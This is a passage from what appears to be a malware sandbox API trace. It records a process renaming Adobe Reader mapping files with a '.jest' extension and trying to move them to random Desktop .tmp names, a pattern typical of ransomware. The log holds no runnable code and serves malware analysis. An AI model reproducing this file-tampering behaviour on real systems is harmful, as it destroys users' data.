(lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sO8n60-YqHhxv-ivdtTqejnzs6LOUUtx1rUu7TOLtVCev4 p6pnVrChdtAMfp1yzhY7LqUXotzLf4brN6Ry8bDXf8x0yQt 2vpEU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\so8n60-yqhhxv-ivdttqejnzs6louutx1ruu7toltvcev4 p6pnvrchdtamfp1yzhy7lquxotzlf4brn6ry8bdxf8x0yqt 2vpeu.tmp")) returned 0 [0158.500] GetLastError () returned 0x2 [0158.500] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt.jest")) returned 1 [0158.501] GetLastError () returned 0x0 [0158.501] VarBstrFromR4 (in: fltIn=0x47945418, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.19") returned 0x0 [0158.502] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GGmOS9y8sonm-LlM6vWfTqF7F3 OBx6dmhzlUs85X86k2R6Zq1OYY_HWdO0vW7Sad2oAZM-q_fL41v0JoWb_xaB2h ArRnMewfO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ggmos9y8sonm-llm6vwftqf7f3 obx6dmhzlus85x86k2r6zq1oyy_hwdo0vw7sad2oazm-q_fl41v0jowb_xab2h arrnmewfo.tmp")) returned 0 [0158.502] GetLastError () returned 0x2 [0158.503] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt.jest")) returned 1 [0158.504] GetLastError () returned 0x0 [0158.504] VarBstrFromR4 (in: fltIn=0x47945418, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.19") returned 0x0 [0158.505] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ykfp-H9qc-LWpILn0KfT3Js3QdIKU4Fh1FbyDLjXJrdGZJMlTeeUErSppRxmrlGgu1HFm9hvCaz2fVAtr6a xSBKjvqJCCfigcSeL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ykfp-h9qc-lwpiln0kft3js3qdiku4fh1fbydljxjrdgzjmlteeuerspprxmrlggu1hfm9hvcaz2fvatr6a xsbkjvqjccfigcsel.tmp")) returned 0 [0158.505] GetLastError () returned 0x2 [0158.506] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt.jest")) returned 1 [0158.506] GetLastError () returned 0x0 [0158.507] VarBstrFromR4 (in: fltIn=0x4794541a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.2") returned 0x0 [0158.508] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oq477qluolV46psJPlaXKt2LYUBV6Une5vk4tUlJNsqs0P9tHz5LH8rJ4J2j_ebIOtDR2By_Gx7zVoTOOnjUFSJCKSSjnl3qBych.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oq477qluolv46psjplaxkt2lyubv6une5vk4tuljnsqs0p9thz5lh8rj4j2j_ebiotdr2by_gx7zvotoonjufsjckssjnl3qbych.tmp")) returned 0 [0158.508] GetLastError () returned 0x2 [0158.508] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt.jest")) returned 1 [0158.509] GetLastError () returned 0x0 [0158.509] VarBstrFromR4 (in: fltIn=0x4794541a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75944.2") returned 0x0 [0158.510] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y6Db0tmBZFzPIykf79RmRR25IuClNEzAHxcO9XgPIaTbYu2rvIu9ERILS4XhgQXFrCl-DGeRyslOKwKgsXkPdS-mp6Q8LhW-q7VdE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y6db0tmbzfzpiykf79rmrr25iuclnezahxco9xgpiatbyu2rviu9erils4xhgqxfrcl-dgeryslokwkgsxkpds-mp6q8lhw-q7vde.tmp")) returned 0 [0158.510] GetLastError () returned 0x2 [0158.512] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt.jest")) returned 1 [0159.622] GetLastError () returned 0x0 [0159.623] VarBstrFromR4 (in: fltIn=0x479454a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.3") returned 0x0 [0159.624] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x-7Pl5HAdUtvCc8X74QMulqz_wtkNTVcTWb9zc ZAd4UqGz5zJ1Rcb2l4V9456XJoyvxObSj45b8OwbCrILVqqNH-UAHpZkrbXIcV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x-7pl5hadutvcc8x74qmulqz_wtkntvctwb9zc zad4uqgz5zj1rcb2l4v9456xjoyvxobsj45b8owbcrilvqqnh-uahpzkrbxicv.tmp")) returned 0 [0159.625] GetLastError () returned 0x2 [0159.625] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt.jest")) returned 1 [0159.664] GetLastError () returned 0x0 [0159.664] VarBstrFromR4 (in: fltIn=0x479454ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.35") returned 0x0 [0159.665] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7JEikHwzVANhgFUcgBt2V2pcxBrlzEuwdtBs4gQjDcsTtp_gmgO2zrrlw6A 8WizmDJxXMxoe9zb-nIJCostjVG931jWDltmJdDZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7jeikhwzvanhgfucgbt2v2pcxbrlzeuwdtbs4gqjdcsttp_gmgo2zrrlw6a 8wizmdjxxmxoe9zb-nijcostjvg931jwdltmjddz.tmp")) returned 0 [0159.666] GetLastError () returned 0x2 [0159.666] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt.jest")) returned 1 [0159.667] GetLastError () returned 0x0 [0159.668] VarBstrFromR4 (in: fltIn=0x479454ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.35") returned 0x0 [0159.669] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ RpElgDu9rDmXNGUEUiKBis8Q k4Irhg9K47SXiUghJ00vCrQhwv 1KZpkruk4dUvImr nokRhrG8UP2EWO76lEknwymKYOtK3B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ rpelgdu9rdmxngueuikbis8q k4irhg9k47sxiughj00vcrqhwv 1kzpkruk4duvimr nokrhrg8up2ewo76leknwymkyotk3b.tmp")) returned 0 [0159.669] GetLastError () returned 0x2 [0159.669] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt.jest")) returned 1 [0159.670] GetLastError () returned 0x0 [0159.671] VarBstrFromR4 (in: fltIn=0x479454ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.35") returned 0x0 [0159.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BVw7CVcVNhq6YHDnmJzeAhkPm2NHLrP-vk_c8WIDEKxA-adEBcNrXgBqu-l4d4gSpp_J-xQ8CcmtPqsPfS_mqUuPv-5WcfHWy0S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bvw7cvcvnhq6yhdnmjzeahkpm2nhlrp-vk_c8widekxa-adebcnrxgbqu-l4d4gspp_j-xq8ccmtpqspfs_mquupv-5wcfhwy0s.tmp")) returned 0 [0159.672] GetLastError () returned 0x2 [0159.672] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt.jest")) returned 1 [0159.673] GetLastError () returned 0x0 [0159.673] VarBstrFromR4 (in: fltIn=0x479454ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.35") returned 0x0 [0159.674] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1TQo8TEXD8H-jcZWyfItbzTm5YvzZP4hXSPLxMORuJGLlQk4clnXNb _ZAb3AvtOkf0QecL0Gq y-cZgGKdR67oZjb8M3mIquN42.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1tqo8texd8h-jczwyfitbztm5yvzzp4hxsplxmorujgllqk4clnxnb _zab3avtokf0qecl0gq y-czggkdr67ozjb8m3miqun42.tmp")) returned 0 [0159.674] GetLastError () returned 0x2 [0159.675] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt.jest")) returned 1 [0159.676] GetLastError () returned 0x0 [0159.676] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.677] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LrE34cFmYw10j_yeAr1WO3p_XHIApKQyBebMpCnOoS_ovn5By5SlFRQX3SRKwIqGy6Y5SZzeHBVNr0kOV2WpTgHsBg07mmX_QbV6M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lre34cfmyw10j_year1wo3p_xhiapkqybebmpcnoos_ovn5by5slfrqx3srkwiqgy6y5szzehbvnr0kov2wptghsbg07mmx_qbv6m.tmp")) returned 0 [0159.677] GetLastError () returned 0x2 [0159.678] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt.jest")) returned 1 [0159.679] GetLastError () returned 0x0 [0159.679] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.680] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LJfeJ_fPk_tZhoiKS7YkWDF_ m_reFg knYDKh-ZC4bgkPt7dHlOyqwW-AmJRCvNlh2ns9HehEriWZsIliR_Ln9X7O4P8gsLnfJ_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ljfej_fpk_tzhoiks7ykwdf_ m_refg knydkh-zc4bgkpt7dhloyqww-amjrcvnlh2ns9heheriwzsilir_ln9x7o4p8gslnfj_.tmp")) returned 0 [0159.680] GetLastError () returned 0x2 [0159.680] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt.jest")) returned 1 [0159.681] GetLastError () returned 0x0 [0159.682] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.682] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kyhBanseXGJhkwjjkXd76m_2vjENHEd_vtPpBIUjRwcwjVBZiCu4fj_upfF8IZ5RobQ9tV8wywLHKjMqPlGsUiXGSWVIs36UqO3B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kyhbansexgjhkwjjkxd76m_2vjenhed_vtppbiujrwcwjvbzicu4fj_upff8iz5robq9tv8wywlhkjmqplgsuixgswvis36uqo3b.tmp")) returned 0 [0159.683] GetLastError () returned 0x2 [0159.683] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt.jest")) returned 1 [0159.684] GetLastError () returned 0x0 [0159.684] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.685] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3 GSOCVuJqzCkuBtrxuz2IgxDpcd1v5d2GzDeQ2InoQLCM7-kIjmGtNBlxj7RKI IIrT5IYi F4yTsU1XAvA_bhvynYzgdF1Sllk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3 gsocvujqzckubtrxuz2igxdpcd1v5d2gzdeq2inoqlcm7-kijmgtnblxj7rki iirt5iyi f4ytsu1xava_bhvynyzgdf1sllk.tmp")) returned 0 [0159.685] GetLastError () returned 0x2 [0159.686] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt.jest")) returned 1 [0159.687] GetLastError () returned 0x0 [0159.687] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.688] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RweZ9hxhRPqmVkJjrhP5V7JSuNvWUldHhqfwVRLYYHcKSchJ4ECxJPKRYvV2C936xhRuG7By95ohRf_eR4snKv-qjGmO6eI0yxZ3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwez9hxhrpqmvkjjrhp5v7jsunvwuldhhqfwvrlyyhckschj4ecxjpkryvv2c936xhrug7by95ohrf_er4snkv-qjgmo6ei0yxz3.tmp")) returned 0 [0159.688] GetLastError () returned 0x2 [0159.688] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt.jest")) returned 1 [0159.689] GetLastError () returned 0x0 [0159.690] VarBstrFromR4 (in: fltIn=0x479454af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.37") returned 0x0 [0159.691] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6 1khIZiG_pdqUZ2Dr7ylJGBf50OndgEI50LzCXC4c_2E_ 88 2SURQILbxPuX5JPzcfm0Ps74OU vL4OH4hy17J_Uqrb6-2YwlF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6 1khizig_pdquz2dr7yljgbf50ondgei50lzcxc4c_2e_ 88 2surqilbxpux5jpzcfm0ps74ou vl4oh4hy17j_uqrb6-2ywlf.tmp")) returned 0 [0159.691] GetLastError () returned 0x2 [0159.691] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt.jest")) returned 1 [0159.692] GetLastError () returned 0x0 [0159.692] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.693] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\my-eiXgfmGo_qfb0WSpT3webAcAyfOT2bQ3ntp8 LBpil-idtBrv0Cgld670Fbx5dP9XTI_ QyEgI18TSKKjjwmz6Euz8GXiLId0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\my-eixgfmgo_qfb0wspt3webacayfot2bq3ntp8 lbpil-idtbrv0cgld670fbx5dp9xti_ qyegi18tskkjjwmz6euz8gxilid0.tmp")) returned 0 [0159.693] GetLastError () returned 0x2 [0159.694] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt.jest")) returned 1 [0159.694] GetLastError () returned 0x0 [0159.695] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.695] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OohwBLaERLHo-6TAhW-Cl toKybpSNxvS2HGDuXO1kH6h1 JebdVmG2R19PvftBmxXOfSf-qwxoHsKzuKYB-1xs0UVc_ OoBTmq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oohwblaerlho-6tahw-cl tokybpsnxvs2hgduxo1kh6h1 jebdvmg2r19pvftbmxxofsf-qwxohskzukyb-1xs0uvc_ oobtmq.tmp")) returned 